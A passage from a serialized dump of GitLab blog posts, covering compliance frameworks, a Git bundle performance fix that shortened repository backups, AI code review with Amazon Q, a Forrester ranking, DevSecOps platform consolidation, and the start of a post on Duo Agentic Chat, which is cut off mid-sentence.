video to learn how to use Custom Compliance Frameworks in GitLab to create your own compliance policies. You can create compliance policies related to any standard (e.g., ISO 26262) and automatically enforce those policies in GitLab.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/S-FQjzSyVJw?si=0UdtGNuugLPG0SLL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nBy shifting compliance left and embedding it within normal development workflows, you can maintain safety standards without sacrificing velocity. Automated checks catch issues early when they're easier and less expensive to fix, while continuous evidence collection reduces the documentation burden.\n\n## Realizing the power of embedded DevOps\n\nEmbedded development is changing fast. Teams that remain stuck in manual processes and isolated workflows will find themselves increasingly left behind, while those that embrace automated, collaborative practices will define the future of software-defined smart systems.\n\nExplore our [Embedded DevOps Workshop](https://gitlab.com/guided-explorations/embedded/workshops/embedded-devops-workshop-refactoring-to-ci) to start automating embedded development workflows with GitLab, or [watch this presentation from GitLab's Field Chief Cloud Architect](https://content.gitlab.com/viewer/0a35252831bd130f879b0725738f70ed) to learn how leading organizations are bringing hardware-in-the-loop testing into continuous integration workflows to accelerate embedded development.\n\n## Learn more\n\n- [Why GitLab Premium with Duo for embedded systems development?](https://content.gitlab.com/viewer/438451cba726dd017da7b95fd0fb1b59)\n- [Why GitLab Ultimate with Duo for embedded systems development?](https://content.gitlab.com/viewer/87f5104c26720e2c0d73a6b377522a44)\n- [More embedded development systems presentations from GitLab](https://content.gitlab.com/viewer/e59c40099d5e3c8f9307afb27c4a923f)",[479,696,754,964],{"slug":1249,"featured":6,"template":678},"4-ways-to-accelerate-embedded-development-with-gitlab","content:en-us:blog:4-ways-to-accelerate-embedded-development-with-gitlab.yml","4 Ways To Accelerate Embedded Development With Gitlab","en-us/blog/4-ways-to-accelerate-embedded-development-with-gitlab.yml","en-us/blog/4-ways-to-accelerate-embedded-development-with-gitlab",{"_path":1255,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1256,"content":1262,"config":1269,"_id":1271,"_type":16,"title":1272,"_source":17,"_file":1273,"_stem":1274,"_extension":20},"/en-us/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes",{"title":1257,"description":1258,"ogTitle":1257,"ogDescription":1258,"noIndex":6,"ogImage":1259,"ogUrl":1260,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1260,"schema":1261},"How we decreased GitLab repo backup times from 48 hours to 41 minutes","Learn how we tracked a performance bottleneck to a 15-year-old Git function and fixed it, leading to enhanced efficiency that supports more robust backup strategies and can reduce risk.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097166/Blog/Hero%20Images/Blog/Hero%20Images/REFERENCE%20-%20display%20preview%20for%20blog%20images%20%282%29_2pKf8RsKzAaThmQfqHIaa7_1750097166565.png","https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we decreased GitLab repo backup times from 48 hours to 41 minutes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Karthik Nayak\"},{\"@type\":\"Person\",\"name\":\"Manuel Kraft\"}],\n        \"datePublished\": \"2025-06-05\",\n      }",{"title":1257,"description":1258,"authors":1263,"heroImage":1259,"date":1245,"body":1266,"category":734,"tags":1267},[1264,1265],"Karthik Nayak","Manuel Kraft","Repository backups are a critical component of any robust disaster recovery strategy. However, as repositories grow in size, the process of creating reliable backups becomes increasingly challenging.  Our own [Rails repository](https://gitlab.com/gitlab-org/gitlab) was taking 48 hours to back up — forcing impossible choices between backup frequency and system performance. We wanted to tackle this issue for our customers and for our own users internally. \n\nUltimately, we traced the issue to a 15-year-old Git function with O(N²) complexity and fixed it with an algorithmic change, __reducing backup times exponentially__. The result: lower costs, reduced risk, and backup strategies that actually scale with your codebase.\n\nThis turned out to be a Git scalability issue that affects anyone with large repositories. Here's how we tracked it down and fixed it. \n\n## Backup at scale\n\nFirst, let's look at the problem. As organizations scale their repositories and backups grow more complex, here are some of the challenges they can face:\n\n* **Time-prohibitive backups:** For very large repositories, creating a repository backup could take several hours, which can hinder the ability to schedule regular backups. \n* **Resource intensity:** Extended backup processes can consume substantial server resources, potentially impacting other operations.\n* **Backup windows:** Finding adequate maintenance windows for such lengthy processes can be difficult for teams running 24/7 operations.\n* **Increased failure risk:** Long-running processes are more susceptible to interruptions from network issues, server restarts, and system errors, which can force teams to restart the entire very long backup process from scratch.\n* **Race conditions:** Because it takes a long time to create a backup, the repository might have changed a lot during the process, potentially creating an invalid backup or interrupting the backup because objects are no longer available.\n\nThese challenges can lead to compromising on backup frequency or completeness – an unacceptable trade-off when it comes to data protection. Extended backup windows can force customers into workarounds. Some might adopt external tooling, while others might reduce backup frequency, resulting in potential inconsistent data protection strategies across organizations.\n\nNow, let's dig into how we identified a performance bottleneck, found a resolution, and deployed it to help cut backup times.\n\n## The technical challenge\n\nGitLab's repository backup functionality relies on the [`git bundle create`](https://git-scm.com/docs/git-bundle) command, which captures a complete snapshot of a repository, including all objects and references like branches and tags. This bundle serves as a restoration point for recreating the repository in its exact state.\n\nHowever, the implementation of the command suffered from poor scalability related to reference count, creating a performance bottleneck. As repositories accumulated more references, processing time increased exponentially. In our largest repositories containing millions of references, backup operations could extend beyond 48 hours.\n\n### Root cause analysis\n\nTo identify the root cause of this performance bottleneck, we analyzed a flame graph of the command during execution.\n\n![Flame graph showing command during execution](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097176/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097176388.jpg)\n\nA flame graph displays the execution path of a command through its stack trace. Each bar corresponds to a function in the code, with the bar's width indicating how much time the command spent executing within that particular function.\n\nWhen examining the flame graph of `git bundle create` running on a repository with 10,000 references, approximately 80% of the execution time is consumed by the `object_array_remove_duplicates()` function. This function was introduced to Git in the [commit b2a6d1c686](https://gitlab.com/gitlab-org/git/-/commit/b2a6d1c686) (bundle: allow the same ref to be given more than once, 2009-01-17).\n\nTo understand this change, it's important to know that `git bundle create` allows users to specify which references to include in the bundle. For complete repository bundles, the `--all` flag packages all references.\n\nThe commit addressed a problem where users providing duplicate references through the command line – such as `git bundle create main.bundle main main` - would create a bundle without properly handling the duplicated main reference. Unbundling this bundle in a Git repository would break, because it tries to write the same ref twice. The code to avoid duplication uses nested `for` loops that iterate through all references to identify duplicates. This O(N²) algorithm becomes a significant performance bottleneck in repositories with large reference counts, consuming substantial processing time.\n\n### The fix: From O(N²) to efficient mapping\n\nTo resolve this performance issue, we contributed an upstream fix to Git that replaces the nested loops with a map data structure. Each reference is added to the map, which automatically ensures only a single copy of each reference is retained for processing.\n\nThis change dramatically enhances the performance of `git bundle create` and enables much better scalability in repositories with large reference counts. Benchmark testing on a repository with 10,000 references demonstrates a 6x performance improvement.\n\n```shell\nBenchmark 1: bundle (refcount = 100000, revision = master)\n  Time (mean ± σ): \t14.653 s ±  0.203 s\t[User: 13.940 s, System: 0.762 s]\n  Range (min … max):   14.237 s … 14.920 s\t10 runs\n\nBenchmark 2: bundle (refcount = 100000, revision = HEAD)\n  Time (mean ± σ):  \t2.394 s ±  0.023 s\t[User: 1.684 s, System: 0.798 s]\n  Range (min … max):\t2.364 s …  2.425 s\t10 runs\n\nSummary\n  bundle (refcount = 100000, revision = HEAD) ran\n\t6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)\n```\n\nThe patch was accepted and [merged](https://gitlab.com/gitlab-org/git/-/commit/bb74c0abbc31da35be52999569ea481ebd149d1d) into upstream Git. At GitLab, we backported this fix to ensure our customers could benefit immediately, without waiting for the next Git release.\n\n## The result: Dramatically decreased backup times\n\nThe performance gains from this improvement have been nothing short of transformative:\n\n* **From 48 hours to 41 minutes:** Creating a backup of our largest repository (`gitlab-org/gitlab`) now takes just 1.4% of the original time.\n* **Consistent performance:** The improvement scales reliably across repository sizes.\n* **Resource efficiency:** We significantly reduced server load during backup operations.\n* **Broader applicability:** While backup creation sees the most dramatic improvement, all bundle-based operations that operate on many references benefit.\n\n## What this means for GitLab customers\n\nFor GitLab customers, this enhancement delivers immediate and tangible benefits on how organizations approach repository backup and disaster recovery planning:\n* **Transformed backup strategies**   \n  * Enterprise teams can establish comprehensive nightly schedules without impacting development workflows or requiring extensive backup windows.   \n  * Backups can now run seamlessly in the background during nightly schedules, instead of needing to be dedicated and lengthy.  \n* **Enhanced business continuity**  \n  * With backup times reduced from days to minutes, organizations significantly minimize their recovery point objectives (RPO). This translates to reduced business risk – in a disaster scenario, you're potentially recovering hours of work instead of days.  \n* **Reduced operational overhead**   \n  * Less server resource consumption and shorter maintenance windows.  \n  * Shorter backup windows mean reduced compute costs, especially in cloud environments, where extended processing time translates directly to higher bills.  \n* **Future-proofed infrastructure**   \n  * Growing repositories no longer force difficult choices between backup frequency and system performance.   \n  * As your codebase expands, your backup strategy can scale seamlessly alongside it\n\nOrganizations can now implement more robust backup strategies without compromising on performance or completeness. What was once a challenging trade-off has become a straightforward operational practice.\n\nStarting with the [GitLab 18.0](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/) release, all GitLab customers regardless of their license tier can already fully take advantage of these improvements for their [backup](https://docs.gitlab.com/administration/backup_restore/backup_gitlab/) strategy and execution. There is no further change in configuration required.\n\n## What's next\n\nThis breakthrough is part of our ongoing commitment to scalable, enterprise-grade Git infrastructure. While the improvement of 48 hours to 41 minutes for backup creation time represents a significant milestone, we continue to identify and address performance bottlenecks throughout our stack.\n\nWe're particularly proud that this enhancement was contributed upstream to the Git project, benefiting not just GitLab users but the broader Git community. This collaborative approach to development ensures that improvements are thoroughly reviewed, widely tested, and available to all.\n\n> Deep infrastructure work like this is how we approach performance at GitLab. Join the GitLab 18 virtual launch event to see what other fundamental improvements we're shipping. [Register today!](https://about.gitlab.com/eighteen/)",[1067,815,695,1268,479],"performance",{"slug":1270,"featured":92,"template":678},"how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes","content:en-us:blog:how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes.yml","How We Decreased Gitlab Repo Backup Times From 48 Hours To 41 Minutes","en-us/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes.yml","en-us/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes",{"_path":1276,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1277,"content":1283,"config":1288,"_id":1290,"_type":16,"title":1291,"_source":17,"_file":1292,"_stem":1293,"_extension":20},"/en-us/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q",{"title":1278,"description":1279,"ogTitle":1278,"ogDescription":1279,"noIndex":6,"ogImage":1280,"ogUrl":1281,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1281,"schema":1282},"Accelerate code reviews with GitLab Duo and Amazon Q","Use AI-powered agents to optimize code reviews by automatically analyzing merge requests and providing comprehensive feedback on bugs, readability, and coding standards.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750096976/Blog/Hero%20Images/Blog/Hero%20Images/Screenshot%202024-11-27%20at%204.55.28%E2%80%AFPM_4VVz6DgGBOvbGY8BUmd068_1750096975734.png","https://about.gitlab.com/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Accelerate code reviews with GitLab Duo and Amazon Q\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2025-06-02\",\n      }",{"title":1278,"description":1279,"authors":1284,"heroImage":1280,"date":1285,"body":1286,"category":791,"tags":1287},[937],"2025-06-02","Code reviews are critical for catching bugs, improving code readability, and maintaining coding standards, but they can also be a major bottleneck in your workflow. When you're trying to ship features quickly, waiting for multiple team members to review your code can be frustrating. The back-and-forth discussions, the scheduling conflicts, and the time it takes to get everyone aligned can stretch what should be a simple review into days or even weeks.\n\nHere's where [GitLab Duo with Amazon Q](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/), our new offering that delivers agentic AI throughout the software development lifecycle for AWS customers, comes in to transform your review process. This intelligent, AI-powered solution can perform comprehensive code reviews for you in a fraction of the time it would take your human colleagues. By leveraging advanced agentic AI capabilities, GitLab Duo with Amazon Q streamlines your entire review workflow without sacrificing the quality and thoroughness you need. Think of it as having an always-available, highly skilled reviewer who can instantly analyze your code and provide actionable feedback.\n\n## How it works: Launching a code review\n\nSo how does GitLab Duo with Amazon Q actually work? Let's say you've just finished working on a feature and created a merge request with multiple code updates. Instead of pinging your teammates and waiting for their availability, you simply enter a quick command in the comment section: \"/q review\". That's it – just those two words trigger the AI to spring into action.\n\n![Triggering a code review using GitLab Duo with Amazon Q](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097002/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097002096.png)\n\nOnce you've entered the command, Amazon Q Service immediately begins analyzing your code changes. You'll see a confirmation that the review is underway, and within moments, the AI is examining every line of your updates, checking for potential issues across multiple dimensions.\nWhen the review completes, you receive comprehensive feedback that covers all the bases: bug detection, readability improvements, syntax errors, and adherence to your team's coding standards. The AI doesn't just point out problems, it provides context and suggestions for fixing them, making it easy for you to understand what needs attention and why.\n\nThe beauty of this agentic AI approach is that it handles the heavy lifting of code review while you focus on what matters most: building great software. You get the benefits of thorough code reviews — better bug detection, consistent coding standards, and improved code quality — without the time sink. Your deployment times shrink dramatically because you're no longer waiting in review queues, and your entire team becomes more productive.\n\n## Why use GitLab Duo with Amazon Q?\n\nGitLab Duo with Amazon Q transforms your development workflow in the following ways:\n- Lightning-fast code reviews that don't compromise on quality\n- Consistent application of coding standards across your entire codebase\n- Immediate feedback that helps you fix issues before they reach production\n- Reduced deployment times that let you ship features faster\n- More time for your team to focus on creative problem-solving instead of repetitive reviews\n\nReady to see this game-changing feature in action? Watch how GitLab Duo with Amazon Q can revolutionize your code review process:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/4gFIgyFc02Q?si=GXVz--AIrWiwzf-I\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> To learn more about GitLab Duo with Amazon Q visit us at an upcoming [AWS Summit in a city near you](https://about.gitlab.com/events/aws-summits/) or [reach out to your GitLab representative](https://about.gitlab.com/partners/technology-partners/aws/#form).\n> \n> And make sure to join the GitLab 18 virtual launch event to learn about our agentic AI plans and more. [Register today!](https://about.gitlab.com/eighteen/)",[790,479,1207,695,754,282,944,696],{"slug":1289,"featured":92,"template":678},"accelerate-code-reviews-with-gitlab-duo-and-amazon-q","content:en-us:blog:accelerate-code-reviews-with-gitlab-duo-and-amazon-q.yml","Accelerate Code Reviews With Gitlab Duo And Amazon Q","en-us/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q.yml","en-us/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q",{"_path":1295,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1296,"content":1302,"config":1308,"_id":1310,"_type":16,"title":1311,"_source":17,"_file":1312,"_stem":1313,"_extension":20},"/en-us/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025",{"title":1297,"description":1298,"ogTitle":1297,"ogDescription":1298,"noIndex":6,"ogImage":1299,"ogUrl":1300,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1300,"schema":1301},"GitLab named a Leader in The Forrester Wave™: DevOps Platforms, Q2 2025","Forrester calls GitLab platform the \"most all-in-one of the all-in-one solutions,\" adding it \"suits enterprises looking to standardize with a single purchase.\"","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658898/Blog/Hero%20Images/blog-post-image-forrester-wave-1800x945px-fy26.png","https://about.gitlab.com/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab named a Leader in The Forrester Wave™: DevOps Platforms, Q2 2025\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2025-06-02\",\n      }",{"title":1297,"description":1298,"authors":1303,"heroImage":1299,"date":1285,"body":1305,"category":695,"tags":1306},[1304],"Dave Steer","Choosing a DevSecOps platform is one of the biggest technology decisions enterprises make. That's why we are thrilled to be named a [**Leader in The Forrester Wave™: DevOps Platforms, Q2 2025**](https://about.gitlab.com/forrester-wave-devops-platform/), receiving the highest scores possible across the criteria our customers tell us they care about most, including day zero experience, developer tooling, build automation and CI, deployment automation, AI risk mitigation, AI infusion, directly incorporated security tools, and platform cohesion.\n\n***\"GitLab is the most all-in-one of the all-in-one solutions and suits enterprises looking to standardize with a single purchase.” -*** Forrester Wave™: DevOps Platforms, Q2 2025\n\nFor us, this recognition reflects what we've been hearing from customers: They need to deliver secure software faster, but existing solutions force them to compromise on speed, security, or simplicity. GitLab delivers all three. And with our [GitLab 18.0 release](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/) in May, we’ve taken this a step further by [including AI-native GitLab Duo capabilities](https://about.gitlab.com/blog/gitlab-premium-with-duo/) — such as test generation, code suggestions, and code refactoring — directly in GitLab Premium and GitLab Ultimate at no additional cost.\n\n> [Access the report today!](https://about.gitlab.com/forrester-wave-devops-platform/)\n\n![ Forrester Wave™: DevOps Platforms, Q2 2025 graphic ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673518/Blog/Content%20Images/Image_DevOps-Platforms-Q2-2025.png)\n\n## Staying at the forefront of AI transformation, with enterprise control\n\nDevSecOps is rapidly evolving, with AI at the forefront of that change. Unfortunately, many AI tools force a choice: cutting-edge capabilities or enterprise security. \n\nForrester scored GitLab a 5 – the highest on their scale – for both the **AI infusion** and **AI risk mitigation** criteria. We’re pleased to see our focus on building innovative AI capabilities that maintain security is being noticed by more than just our customers.\n\nThis dual strength shows up across our GitLab Duo AI offerings, including:\n\n* Duo Workflow (private beta): Autonomous AI agents that handle complex tasks across development, security, and operations — with enterprise-grade guardrails and audit trails.  \n* Agentic Chat: Contextual, conversational AI assistance for everything from code explanations to test creation — with IP protection and privacy controls built in.  \n* Code Suggestions: AI assistance that can predictively complete code blocks, define function logic, generate tests, and propose common code like regex patterns.  \n* AI-native Vulnerability Resolution: Find and fix vulnerabilities with auto explanation and auto-generated merge requests, ensuring a streamlined development process.\n\n## Doing more with less \n\nWe’ve heard loud and clear that DevSecOps teams don’t need more tools and integrations that help them with part of their software delivery lifecycle. They need a seamless, integrated developer experience that covers the entire SDLC.\n\nWe believe GitLab’s scores in the following criteria are validation of our customer-focused strategy:\n\n* **Day zero experience:** Forrester cited our “strong day zero experience,” noting that “everything is ready to run out-of-the-box,” supported by extensive migration tools and tutorials. \n* **Developer tooling:** Forrester pointed to [GitLab Duo with Amazon Q](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/), our agentic AI offering for AWS customers, as well as our cloud development environment, integrated developer platform, and wikis for documentation as examples.  \n* **Project planning and alignment:** Forrester noted our \"strong compliance center,\" and that we have tools to drive alignment top-down and bottom-up.  \n* **Pipeline security:** Forrester gave us the highest score possible in the pipeline security criterion.  \n* **Build automation and CI:** Forrester cited our build automation and CI with multistage build pipelines and strong self-hosted support.\n\n## Read the report\n\nFor us, being named a Leader in The Forrester Wave™: DevOps Platforms, Q2 2025 speaks to the breadth and depth of our platform’s capabilities, providing a single source of truth for the entire software development lifecycle. No more juggling multiple tools and integrations – GitLab provides a seamless, integrated experience that boosts productivity and reduces friction. We believe this placement reflects the hard work of our team, the many contributions from GitLab’s open source community, the invaluable feedback from our customers, and our dedication to shaping the future of software development.\n\n> #### [Access the report today!](https://about.gitlab.com/forrester-wave-devops-platform/)\n\n*Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. For more information, read about Forrester’s objectivity [here](https://www.forrester.com/about-us/objectivity/).*",[1307,695,736,479],"research",{"slug":1309,"featured":92,"template":678},"gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025","content:en-us:blog:gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025.yml","Gitlab Named A Leader In The Forrester Wave Devops Platforms Q2 2025","en-us/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025.yml","en-us/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025",{"_path":1315,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1316,"content":1322,"config":1326,"_id":1328,"_type":16,"title":1329,"_source":17,"_file":1330,"_stem":1331,"_extension":20},"/en-us/blog/why-are-organizations-moving-to-a-unified-devsecops-platform",{"title":1317,"description":1318,"ogTitle":1317,"ogDescription":1318,"noIndex":6,"ogImage":1319,"ogUrl":1320,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1320,"schema":1321},"Why are organizations moving to a unified DevSecOps platform?","Learn about GitLab's comprehensive, unified DevSecOps platform, which integrates tools, enhances security, and leverages AI for efficient software development.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097063/Blog/Hero%20Images/Blog/Hero%20Images/securitylifecycle-light_securitylifecycle-light.png_1750097063583.png","https://about.gitlab.com/blog/why-are-organizations-moving-to-a-unified-devsecops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why are organizations moving to a unified DevSecOps platform?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2025-06-02\",\n      }",{"title":1317,"description":1318,"authors":1323,"heroImage":1319,"date":1285,"body":1324,"category":962,"tags":1325},[691],"In today’s modern software development landscape, many organizations are migrating to the cloud and adopting DevSecOps processes. However, this transition presents a significant challenge: a proliferation of tools and legacy systems not designed for modern development. To adapt these systems to DevSecOps, organizations must create integrations between multiple tools for task management, CI/CD, security, monitoring, and more. The result? Operational complexity, high maintenance costs, and disrupted collaboration between development and operations teams. Additionally, developers experience frustration as they constantly switch between different tools to complete a single development flow – from planning to production.\n\n![The complexity and operational costs of integrating multiple tools into a DevSecOps process](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097077287.jpg)\n\n\u003Ccenter>\u003Ci>How complex it can be to integrate multiple tools into a DevSecOps process\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nThe good news is that a solution exists: A comprehensive DevSecOps platform offering a unified approach to software development.\n\nThese platforms are built for organizations operating in cloud-based and DevSecOps environments, consolidating all software development stages — from code management, CI/CD processes, task management, and security to AI-driven automation — into a single platform. Centralizing all software development workflows in a unified interface enables development and operations teams to work more efficiently, streamline communication, and minimize operational complexities and disruptions.\n\nFurthermore, the developer experience significantly improves — engineers are much happier working with a product designed specifically for modern development needs.\n\nIn the sections below, we’ll explore how GitLab helps teams overcome common challenges — whether it’s managing projects and tasks, ensuring security and compliance, or adopting AI-powered development tools – all within a single, unified platform.\n\n## Integrated Agile project management\n\nGitLab provides a holistic solution in which project and task management are fully integrated across all stages of the software development lifecycle, such as CI/CD, enabling real-time tracking of development progress. Issues and epics directly link to automation processes, allowing a seamless flow from planning to production deployment. This approach enhances transparency across teams, reduces delays, and ensures that all stakeholders have a clear view of the development status in real-time.\n\n![Issues and epics directly link to automation processes, allowing a seamless flow from planning to production deployment.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097077288.jpg)\n\n## Built-in security\nGitLab strongly emphasizes integrating security capabilities end-to-end (security first). The platform integrates a wide range of automated security scanners, including:\n\n- [Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/)\n- [Static Application Security Testing (SAST)](https://docs.gitlab.com/user/application_security/sast/)\n- [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/user/application_security/dast/)\n- [Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/)\n- [Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/)\n\n![Security scanning capabilities integrated into the CI/CD process at various development stages](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097077289.jpg)\n\n\u003Ccenter>\u003Ci>Security scanning capabilities integrated into the CI/CD process at various development stages\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nThese security checks are built directly into every phase of the software development lifecycle, including the CI/CD pipeline, to provide developers with immediate feedback on potential security issues early in the development cycle.\n\n## Compliance and regulatory requirements\n\nBeyond efficiency and user experience, many organizations — especially those in regulated industries such as financial institutions or large enterprises — must ensure their processes comply with strict security and compliance standards. They need the ability to enforce policies for different projects, such as mandating a security scanner every time a CI/CD pipeline runs on specific code branches (e.g., main or protected branches) or requiring specific approvals before merging code into the main branch.\n\nWith GitLab, this becomes easier through [Compliance Frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/), a feature that allows organizations to define and enforce structured policies for selected projects. This ensures compliance with automatic regulatory and security requirements while maintaining a seamless and efficient developer workflow.\n\n## AI-powered development\n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/) provides AI-driven assistance across all development stages, eliminating the need to switch to external tools. Every AI-powered request is processed within the full context of the project and codebase, enabling smarter and more efficient work.\n\nAI can perform example tasks such as:\n- automatic task description generation\n- smart summarization of issue discussions, saving developers valuable time\n- advanced code review capabilities\n- code improvement and optimization suggestions\n- automated test generation\n- security vulnerability detection and remediation\n- troubleshooting root cause analysis for CI pipeline failures\n- privacy and Data Security\n\nUnderstanding the needs of regulated organizations, particularly in the public and financial sectors, GitLab offers a unique solution for running AI models in a secure environment. GitLab Duo Self-Hosted enables organizations to maintain full control over data privacy, security, and the deployment of large language models ([LLMs](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/)) in their own infrastructure, ensuring:\n- data privacy protection\n- compliance with regulatory requirements\n- maximum security\n- AI benefits without external network dependencies or risks\n\n## Summary\n\nOrganizations need a comprehensive DevSecOps platform to streamline processes, enhance security, and accelerate innovation. GitLab delivers precisely that — a single application consolidating all essential development, security, and operational tools with built-in security integration and AI-powered automation.\n\nReady to see GitLab in action? Explore interactive demos of:\n\n- [GitLab Premium and Ultimate with Duo](https://gitlab.navattic.com/gitlab-premium-with-duo) – experience AI-powered development assistance\n\n- [Adding security to the CI/CD pipeline](https://gitlab.navattic.com/gitlab-scans) – see how integrated security scanning protects your software\n\n- [Compliance frameworks](https://gitlab.navattic.com/compliance) – discover how GitLab enforces policies across projects for better governance\n\n> Join the GitLab 18 virtual launch event to learn about the future of the DevSecOps platform, including the role of agentic AI. [Register today!](https://about.gitlab.com/eighteen/)",[943,479,695],{"slug":1327,"featured":6,"template":678},"why-are-organizations-moving-to-a-unified-devsecops-platform","content:en-us:blog:why-are-organizations-moving-to-a-unified-devsecops-platform.yml","Why Are Organizations Moving To A Unified Devsecops Platform","en-us/blog/why-are-organizations-moving-to-a-unified-devsecops-platform.yml","en-us/blog/why-are-organizations-moving-to-a-unified-devsecops-platform",{"_path":1333,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1334,"content":1340,"config":1346,"_id":1348,"_type":16,"title":1349,"_source":17,"_file":1350,"_stem":1351,"_extension":20},"/en-us/blog/gitlab-duo-chat-gets-agentic-ai-makeover",{"title":1335,"description":1336,"ogTitle":1335,"ogDescription":1336,"noIndex":6,"ogImage":1337,"ogUrl":1338,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1338,"schema":1339},"GitLab Duo Chat gets agentic AI makeover  ","Our new Duo Chat experience, currently an experimental release, helps developers onboard to projects, understand assignments, implement changes, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099203/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2820%29_2bJGC5ZP3WheoqzlLT05C5_1750099203484.png","https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Chat gets agentic AI makeover  \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Torsten Linz\"}],\n        \"datePublished\": \"2025-05-29\",\n      }",{"title":1335,"description":1336,"authors":1341,"heroImage":1337,"date":1343,"body":1344,"category":791,"tags":1345},[1342],"Torsten Linz","2025-05-29","Generative AI chat assistants have become standard in software development, helping create and fix code just to start. But what if your chat assistant could understand the artifacts of your entire development process, not just your code? What if that chat assistant could help you work through issues and project documentation before it helps you write code, and could access CI/CD pipelines and merge requests to help you finish coding tasks properly? \n\n**Meet the next generation of GitLab Duo Chat – GitLab Duo Agentic Chat, a significant evolution in AI-native development assistance and the newest addition to our platform, now in [experimental release](https://docs.gitlab.com/policy/development_stages_support/#experiment).** GitLab Duo Agentic Chat is currently available as an experimental feature in VS Code to all users on GitLab.com that have any one of these add-ons: Duo Core, Duo Pro, or Duo Enterprise.\n\nAgentic Chat transforms chat from traditional conversational AI to a chat experience that takes action on your behalf, breaking down complex problems into discrete tasks that it can complete. Instead of simply responding to questions with the context you provide, Agentic Chat can:\n\n* **Autonomously determine** what information it needs to answer your questions  \n* **Execute a sequence of operations** to gather that information from multiple sources  \n* **Formulate comprehensive responses** by combining insights from across your project  \n* **Create and modify files** to help you implement solutions\n\nAnd all of this is done while keeping the human developer within the loop.\n\nAgentic Chat is built on the 